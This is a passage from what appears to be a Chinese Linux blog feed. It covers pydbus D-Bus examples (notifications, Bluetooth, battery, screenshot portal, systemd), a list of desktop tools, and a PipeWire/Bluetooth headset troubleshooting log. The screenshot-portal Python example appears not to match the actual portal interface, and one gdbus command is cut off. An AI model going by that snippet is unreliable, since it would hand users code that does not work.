&lt;h2 id=&quot;github-shi-zhan-xiang-mu-ke-zhi-jie-yun-xing-gong-xian&quot;&gt;GitHub 实战项目（可直接运行&#x2F;贡献）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;system76-scheduler&lt;&#x2F;th&gt;&lt;th&gt;调度器 GUI，用 DBus 控制 systemd&#x2F;CPU&lt;&#x2F;th&gt;&lt;th&gt;Python + pydbus&lt;&#x2F;th&gt;&lt;th&gt;org.freedesktop.systemd1, logind&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;gnome-shell-screenshot&lt;&#x2F;td&gt;&lt;td&gt;类 Flameshot 工具&lt;&#x2F;td&gt;&lt;td&gt;JS + DBus&lt;&#x2F;td&gt;&lt;td&gt;portal.Screenshot, portal.Clipboard&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;blueman&lt;&#x2F;td&gt;&lt;td&gt;蓝牙管理器（Python）&lt;&#x2F;td&gt;&lt;td&gt;pydbus + GTK&lt;&#x2F;td&gt;&lt;td&gt;org.bluez, obex 协议&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;udisks2-wrapper&lt;&#x2F;td&gt;&lt;td&gt;磁盘挂载示例&lt;&#x2F;td&gt;&lt;td&gt;pydbus&lt;&#x2F;td&gt;&lt;td&gt;org.freedesktop.UDisks2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;dbus-gong-ju-lei&quot;&gt;DBus 工具类&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;d-spy&lt;&#x2F;td&gt;&lt;td&gt;GTK DBus Inspector（看接口&#x2F;发请求） ✅ 强烈推荐安装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;dbus-next&lt;&#x2F;td&gt;&lt;td&gt;纯 Python async DBus 实现（兼容性好）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xdg-desktop-portal&lt;&#x2F;td&gt;&lt;td&gt;官方测试用例（含 Python）→ 学 a{sv} 参数构造&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;portal-test&lt;&#x2F;td&gt;&lt;td&gt;专测 portal 接口的工具&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;kuai-su-shang-shou-5-ge-chang-yong-fu-wu-shi-zhan-dai-ma&quot;&gt;快速上手：5 个常用服务实战代码&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;依赖：pip install pydbus（初学）或 pip install zbus（进阶）&lt;&#x2F;li&gt;
&lt;li&gt;1️⃣ 发送桌面通知（org.freedesktop.Notifications）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# notify.py
from pydbus import SessionBus

bus = SessionBus()
notif = bus.get(&amp;#x27;.Notifications&amp;#x27;)

# 发送通知
notif.Notify(
    &amp;quot;MyApp&amp;quot;,   # app_name
    0,         # replaces_id
    &amp;quot;&amp;quot;,        # app_icon
    &amp;quot;标题&amp;quot;,    # summary
    &amp;quot;消息内容&amp;quot;, # body
    [],        # actions
    {&amp;quot;urgency&amp;quot;: 1},  # hints (a{sv})
    5000       # timeout ms
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;✅ 运行：python3 notify.py → 右上角弹出通知&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;2️⃣ 控制蓝牙开关（org.bluez）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# bluetooth.py
from pydbus import SystemBus

bus = SystemBus()
# 获取默认适配器（如 hci0）
adapter = bus.get(&amp;#x27;org.bluez&amp;#x27;, &amp;#x27;&amp;#x2F;org&amp;#x2F;bluez&amp;#x2F;hci0&amp;#x27;)

print(&amp;quot;Powered:&amp;quot;, adapter.Powered)
adapter.Powered = False  # 关闭蓝牙
# adapter.Powered = True  # 开启
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;⚠️ 需权限：sudo usermod -aG bluetooth $USER + 重登&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;3️⃣ 查询电池状态（org.freedesktop.UPower）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# battery.py
from pydbus import SystemBus

bus = SystemBus()
upower = bus.get(&amp;#x27;org.freedesktop.UPower&amp;#x27;, &amp;#x27;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;UPower&amp;#x27;)

for dev_path in upower.EnumerateDevices():
    dev = bus.get(&amp;#x27;org.freedesktop.UPower&amp;#x27;, dev_path)
    if dev.Type == 2:  # 2 = Battery
        print(f&amp;quot;电量: {dev.Percentage:.1f}% | 状态: {dev.State}&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;4️⃣ 调用截图 portal（解决你的 Flameshot 问题！）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# portal_screenshot.py
from pydbus import SessionBus
import time

bus = SessionBus()
portal = bus.get(&amp;#x27;org.freedesktop.portal.Desktop&amp;#x27;,
                 &amp;#x27;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;portal&amp;#x2F;desktop&amp;#x27;)

# 创建 Request 对象
request = bus.get(&amp;#x27;org.freedesktop.portal.Desktop&amp;#x27;,
                  portal.Request.CreateRequest(&amp;#x27;&amp;#x27;, &amp;#x27;&amp;#x27;)[0])

# 触发截图（interactive 模式）
opts = {
    &amp;#x27;modal&amp;#x27;: True,
    &amp;#x27;interactive&amp;#x27;: True
}
portal.Screenshot(request, opts)

# 监听 Response（简化版）
def on_response(response, results):
    if response == 0:  # 0 = success
        print(&amp;quot;截图保存路径:&amp;quot;, results.get(&amp;#x27;uri&amp;#x27;))
    else:
        print(&amp;quot;用户取消或失败&amp;quot;)

request.onResponse = on_response
time.sleep(10)  # 等待用户操作
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;✅ 运行后弹出 GNOME 截图界面 → 标注后保存路径打印到终端&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;5️⃣ 重启 systemd 用户服务（org.freedesktop.systemd1）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;# restart_service.py
from pydbus import SessionBus

bus = SessionBus()
systemd = bus.get(&amp;#x27;.systemd1&amp;#x27;)

# 重启 flameshot 服务（若配置了 autostart）
systemd.RestartUnit(&amp;#x27;flameshot.service&amp;#x27;, &amp;#x27;replace&amp;#x27;)
print(&amp;quot;Flameshot 服务已重启&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-shi-ji-qiao-jie-he-ni-zhi-qian-de-huan-jing&quot;&gt;调试技巧（结合你之前的环境）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;快速定位 portal 问题：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 监控 portal 通信
busctl --session monitor --match=&amp;quot;interface=&amp;#x27;org.freedesktop.portal.*&amp;#x27;&amp;quot;

# 2. 检查 polkit 规则
pkaction --verbose --action-id org.freedesktop.portal.desktop.screenshot

# 3. 手动测试权限
gdbus call --session \
  --dest org.freedesktop.portal.Desktop \
  --object-path &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;portal&amp;#x2F;desktop \
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 桌面效率工具</title>
        <published>2025-12-23T15:03:08+08:00</published>
        <updated>2025-12-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/linux 桌面效率工具/"/>
        <id>https://vercel.juzhong.asia/2025/12/linux 桌面效率工具/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/linux 桌面效率工具/">&lt;h1 id=&quot;jie-tu-gong-ju&quot;&gt;截图工具&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;flameshot&quot;&gt;flameshot&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install flameshot
# 配置系统快捷键: 直接配置快捷键命令&amp;quot;flameshot gui&amp;quot; 执行报错
sh -c &amp;quot;env QT_QPA_PLATFORM=wayland flameshot gui&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ksnip-qt-bian-xie-kua-zhuo-mian-you-hao&quot;&gt;Ksnip（Qt 编写，跨桌面友好）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Debian&amp;#x2F;Ubuntu 推荐从 GitHub 下载 .deb
wget https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;ksnip&amp;#x2F;ksnip&amp;#x2F;releases&amp;#x2F;latest&amp;#x2F;download&amp;#x2F;ksnip_*_amd64.deb
sudo apt install .&amp;#x2F;ksnip_*.deb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;snipaste&quot;&gt;Snipaste&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;gnome-screenshot&quot;&gt;gnome-screenshot&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;gnome-screenshot 本身较基础，但配合以下可大幅提升：&lt;&#x2F;li&gt;
&lt;li&gt;GNOME Shell 扩展：Screenshot Tool&lt;&#x2F;li&gt;
&lt;li&gt;添加标注、OCR、历史记录、多区域截图等功能，集成度高。&lt;&#x2F;li&gt;
&lt;li&gt;快捷：Ctrl+Alt+Print 截全屏 + 自动进编辑器（GNOME 45+ 原生支持简易标注，但功能弱于 Flameshot）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bian-qian&quot;&gt;便签&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;flatpak install flathub com.vixalien.sticky&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;yuan-cheng-zhuo-mian&quot;&gt;远程桌面&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;remmina&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;ping-mu-biao-zhu&quot;&gt;屏幕标注&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;gromit-mpx&quot;&gt;Gromit-MPX&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install gnome-software-plugin-flatpak
flatpak remote-add --if-not-exists flathub https:&amp;#x2F;&amp;#x2F;flathub.org&amp;#x2F;repo&amp;#x2F;flathub.flatpakrepo
flatpak install flathub net.christianbeier.Gromit-MPX
flatpak run net.christianbeier.Gromit-MPX
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zi-dian-fan-yi-gong-ju&quot;&gt;字典、翻译工具&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;lu-ping-gong-ju&quot;&gt;录屏工具&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;obs&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bo-fang-gong-ju&quot;&gt;播放工具&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;nautilus&quot;&gt;nautilus&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;sftp:&#x2F;&#x2F;192.168.7.99&lt;&#x2F;li&gt;
&lt;li&gt;smb:&#x2F;&#x2F;192.168.7.99&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;kai-qi-re-dian-gong-ju-wifihotspot&quot;&gt;开启热点工具wifihotspot&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;tu-pian-bian-ji-gimp&quot;&gt;图片编辑GIMP&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;shi-pin-bian-ji-shotcut&quot;&gt;视频编辑shotcut&lt;&#x2F;h1&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux pipewire 蓝牙耳机无声</title>
        <published>2025-12-22T20:23:01+08:00</published>
        <updated>2026-09-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/linux pipewire 蓝牙耳机无声/"/>
        <id>https://vercel.juzhong.asia/2025/12/linux pipewire 蓝牙耳机无声/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/linux pipewire 蓝牙耳机无声/">&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;p&gt;修改bluetooth策略&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo vim &amp;#x2F;etc&amp;#x2F;bluetooth&amp;#x2F;main.conf
[Policy]
AutoEnable=true
JustWorksRepairing=always
AutoConnect=true
#  end config

# 删除后重新配置
bluetoothctl devices
sudo cat &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;bluetooth&amp;#x2F;88:D8:2E:2B:20:09&amp;#x2F;41:AA:00:56:F4:FC&amp;#x2F;info
bluetoothctl remove 41:AA:00:56:F4:FC

sudo systemctl restart bluetooth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-yong-pei-zhi-yu-diao-shi-gong-ju-hui-zong&quot;&gt;常用配置与调试工具汇总&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;示例命令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;bluetoothctl&lt;&#x2F;td&gt;&lt;td&gt;蓝牙配对&#x2F;连接底层控制&lt;&#x2F;td&gt;&lt;td&gt;info, connect, trust&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pactl&lt;&#x2F;td&gt;&lt;td&gt;PipeWire Pulse 兼容控制&lt;&#x2F;td&gt;&lt;td&gt;list sinks&#x2F;cards, set-card-profile&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pw-cli&lt;&#x2F;td&gt;&lt;td&gt;PipeWire 原生节点检查&lt;&#x2F;td&gt;&lt;td&gt;list-objects, inspect &lt;id&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;wireplumber 日志&lt;&#x2F;td&gt;&lt;td&gt;策略&#x2F;自动路由分析&lt;&#x2F;td&gt;&lt;td&gt;journalctl --user-unit=wireplumber -f&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;helvum (GUI)&lt;&#x2F;td&gt;&lt;td&gt;PipeWire 节点连接可视化&lt;&#x2F;td&gt;&lt;td&gt;helvum（需安装）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;qpwgraph (GUI)&lt;&#x2F;td&gt;&lt;td&gt;类似 helvum，Qt 版&lt;&#x2F;td&gt;&lt;td&gt;qpwgraph&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;btmon&lt;&#x2F;td&gt;&lt;td&gt;蓝牙 HCI 层抓包&lt;&#x2F;td&gt;&lt;td&gt;sudo btmon&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;dmesg -w&lt;&#x2F;td&gt;&lt;td&gt;内核蓝牙错误&lt;&#x2F;td&gt;&lt;td&gt;dmesg -w&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 检查蓝牙服务是否运行
systemctl --user status pipewire wireplumber
# 必须都是 active (running)
systemctl --user restart wireplumber pipewire pipewire-pulse
sudo systemctl restart bluetooth

# 2. 确认蓝牙硬件启用
rfkill list bluetooth
# 若 soft&amp;#x2F;hard blocked，执行：
# rfkill unblock bluetooth

# 3. 检查内核模块
lsmod | grep -E &amp;#x27;btusb|bluetooth|snd_bt_sco&amp;#x27;
# 应有 bluetooth、btusb、可能还有 snd_bt_sco（用于 HFP）

# 使用 speaker-test 向默认蓝牙设备发送测试音
# 可能需要先用 `aplay -L` 查找具体设备名
speaker-test -D bluez:&amp;lt;设备名&amp;gt; -t wav -c 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-yong-ming-ling&quot;&gt;常用命令&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wpctl status     # 最常用。控制WirePlumber会话管理器，查看&amp;#x2F;切换默认设备，调节音量。
wpctl set-mute [ID] 0      # 取消静音
wpctl set-volume [ID] 0.5   # 设置音量为 50%

pw-cli info all  # PipeWire的命令行接口，用于直接与服务器交互，进行低级操作。
pw-dump &amp;gt; dump.json  # 将所有PipeWire对象（节点、设备等）的状态以JSON格式导出，用于详细分析或提交Bug报告
pw-top               #  类似系统top命令，实时显示音频处理节点的性能数据（如延迟、X运行次数）
pw-play .&amp;#x2F;test.mp3   # 用于直接播放或录制音频文件，进行快速测试

pactl list cards

apt install helvum
helvum
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;lan-ya&quot;&gt;蓝牙&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bluetoothctl
&amp;gt; list               # 查看适配器
&amp;gt; show               # 当前适配器详情
&amp;gt; devices            # 已知设备
&amp;gt; info &amp;lt;MAC&amp;gt;         # 查看耳机详情：是否 Connected: yes, Trusted: yes
&amp;gt; connect &amp;lt;MAC&amp;gt;      # 手动连接（有时 GUI 配对未真正连通音频）

# 实时监听 BlueZ D-Bus 消息（高级）
sudo busctl monitor org.bluez
# 或用 btmon（需 root）
sudo btmon
# 这里发现是配对认证失败: 密钥不匹配：你的耳机里可能保存了与这台电脑或其他设备配对的旧密钥: 或者系统升级后默认策略收紧
sudo cat &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;bluetooth&amp;#x2F;11:11:2E:2B:20:09&amp;#x2F;22:22:00:56:F4:FC&amp;#x2F;info
# 这里保存了旧的协商密钥
# 删除耳机，重新配对后正常
bluetoothctl remove 41:AA:00:56:F4:FC
bluetoothctl
&amp;gt; scan on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pipewire-diao-shi&quot;&gt;pipewire 调试&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出所有 sink（输出设备）
pactl list sinks short
# 更详细（关键！看 active port 和 profile）
pactl list sinks

# 列出所有 PipeWire 节点（比 pactl 更底层）
pw-cli list-objects | grep -A5 -B5 -i bluetooth
# 查看蓝牙设备节点属性
pw-cli inspect &amp;lt;node-id&amp;gt;  # 如 42

cp &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;wireplumber&amp;#x2F;bluez-monitor.d&amp;#x2F;50-bluez-config.lua ~&amp;#x2F;.config&amp;#x2F;wireplumber&amp;#x2F;bluez-monitor.d&amp;#x2F;
cat &amp;gt; ~&amp;#x2F;.config&amp;#x2F;wireplumber&amp;#x2F;bluez-monitor.d&amp;#x2F;50-bluez-config.lua&amp;lt;&amp;lt;EOF
bluez_monitor.properties = {
  [&amp;quot;bluez5.auto-switch&amp;quot;] = true,
  [&amp;quot;bluez5.headset-voice&amp;quot;] = true,   -- ← 若你不需要通话，可设为 false
}
EOF

systemctl --user restart wireplumber

# PipeWire 层
pactl get-sink-volume @DEFAULT_SINK@
pactl get-sink-mute @DEFAULT_SINK@

# ALSA 层（有时 PipeWire 未接管）
alsamixer -D pipewire
# 或
alsamixer        # 按 F6 选蓝牙设备（若有）

sudo apt install helvum qpwgraph pavucontrol
# 用 pactl 指定 sink 播放测试音
pactl play-sample bell-window bluez_output.XX_XX_XX_XX_XX_XX.a2dp-sink
# 或用 pw-play（PipeWire 原生命令）
pw-play --target=bluez_output.XX_XX_XX_XX_XX_XX.a2dp-sink &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;sounds&amp;#x2F;alsa&amp;#x2F;Front_Center.wav
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pai-cha-ji-lu&quot;&gt;排查记录&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhi-you-sheng-yin-mei-you-mai-ke-feng&quot;&gt;只有声音没有麦克风？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;通常是因为蓝牙协议在“高音质播放”和“双向通话”之间切换失败，或者系统默认选择了错误的音频配置文件（Profile）&lt;&#x2F;li&gt;
&lt;li&gt;蓝牙耳机通常有两种工作模式：
&lt;ul&gt;
&lt;li&gt;A2DP (High Fidelity Playback)：高音质立体声输出，麦克风不可用。&lt;&#x2F;li&gt;
&lt;li&gt;HSP&#x2F;HFP (Headset Head Unit)：低音质单声道&#x2F;立体声，麦克风可用（用于通话）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;jie-jue-fang-an-1&quot;&gt;解决方案&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;直接在系统配置中切换, 设置 (Settings) -&amp;gt; 声音 (Sound),将配置从 High Fidelity Playback (A2DP Sink) 改为 Headset Head Unit (HSP&#x2F;HFP) 或 Handsfree Head Unit (HFP)&lt;&#x2F;li&gt;
&lt;li&gt;系统自带设置找不到切换profile选项，使用pavucontrol (PulseAudio Volume Control) 是最有效的工具。即使你使用的是 PipeWire，它也兼容
&lt;ul&gt;
&lt;li&gt;最右侧的 配置 (Configuration) 选项卡&lt;&#x2F;li&gt;
&lt;li&gt;配置文件 (Profile) 从 High Fidelity Playback (A2DP Sink) 修改为 Headset Head Unit (HSP&#x2F;HFP)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;an-li-2026-09-xian-shi-yi-lian-jie-que-cong-yang-sheng-qi-chu-sheng-gdm-deng-lu-jie-mian-qiang-zhan-lan-ya-yin-pin-zhu-ce-quan&quot;&gt;案例（2026-09）：显示&quot;已连接&quot;却从扬声器出声 —— gdm 登录界面抢占蓝牙音频注册权&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;GNOME 蓝牙面板显示耳机已连接，但声音一直从扬声器出。&lt;code&gt;wpctl status&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;pactl list cards short&lt;&#x2F;code&gt; 里根本没有蓝牙声卡（只有 built-in 声卡）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键认知：蓝牙&quot;已连接&quot; ≠ 音频链路已建立。&lt;&#x2F;strong&gt; 耳机和电脑之间可能只挂着 LE（低功耗）链路——GATT 电量能正常读（&lt;code&gt;bluetoothctl info&lt;&#x2F;code&gt; 里有 Battery Percentage），GNOME 就显示&quot;已连接&quot;，但 A2DP 音频链路从未建立。本案例中连接名带 &lt;code&gt;_LE&lt;&#x2F;code&gt; 后缀（&lt;code&gt;xxx_LE&lt;&#x2F;code&gt;），经典链路连上后名字变成 &lt;code&gt;xxx&lt;&#x2F;code&gt;，可据此识别当前挂的是哪条链路。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-cha-lian&quot;&gt;排查链&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;bluetoothctl info &amp;lt;MAC&amp;gt;&lt;&#x2F;code&gt; 显示 Connected: yes，但 bluetoothd 日志全是失败：&lt;pre&gt;&lt;code&gt;a2dp-sink profile connect failed for XX:XX:XX:XX:XX:XX: Device or resource busy
avdtp.c:cancel_request() Discover: Connection timed out (110)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
跨越数天多次尝试（8&#x2F;27、8&#x2F;28、9&#x2F;2）全部同样失败。本案例其实叠了两个独立问题：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;耳机同时连了手机&lt;&#x2F;strong&gt;：多设备耳机通常把经典 A2DP 链路让给&quot;优先&#x2F;最后连接&quot;的设备。手机蓝牙一关，重连立刻成功。这类耳机行为，不是电脑故障。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;常驻主因：gdm 抢占注册&lt;&#x2F;strong&gt;（见下）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;手机断开、经典链路通了之后（BlueZ 出现 &lt;code&gt;Endpoint sep1&#x2F;sep2&lt;&#x2F;code&gt; 和 &lt;code&gt;Transport ...&#x2F;fdN&lt;&#x2F;code&gt;），PipeWire 里&lt;strong&gt;依然没有&lt;&#x2F;strong&gt;蓝牙声卡；wireplumber 日志：&lt;pre&gt;&lt;code&gt;RegisterProfile() failed: org.bluez.Error.NotPermitted
Properties changed in unknown transport &amp;#x27;&amp;#x2F;org&amp;#x2F;bluez&amp;#x2F;hci0&amp;#x2F;dev_XX&amp;#x2F;dev_AA_BB_CC_DD_EE_FF&amp;#x2F;sep1&amp;#x2F;fd3&amp;#x27;.
Multiple sound server instances (PipeWire&amp;#x2F;Pulseaudio&amp;#x2F;bluez-alsa) are probably trying to use Bluetooth audio at the same time ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;gen-yin-gdm-deng-lu-jie-mian-qiang-zhan-liao-profile-zhu-ce-quan&quot;&gt;根因：GDM 登录界面抢占了 profile 注册权&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;gdm-shi-gan-shen-me-de-wei-shen-me-ta-hui-you-yin-pin-fu-wu&quot;&gt;gdm 是干什么的？为什么它会有音频服务？&lt;&#x2F;h3&gt;
&lt;p&gt;GDM（GNOME Display Manager）是 Ubuntu 的显示管理器，负责开机后的登录界面、多用户切换界面。登录界面（greeter）运行在独立系统用户 &lt;code&gt;gdm&lt;&#x2F;code&gt; 下，&lt;strong&gt;它本身也是一整套 GNOME 会话&lt;&#x2F;strong&gt;（gnome-shell + 自己的 systemd user 实例），所以也有自己的 pipewire&#x2F;wireplumber——登录界面也要能播放提示音、辅助功能音效。&lt;&#x2F;p&gt;
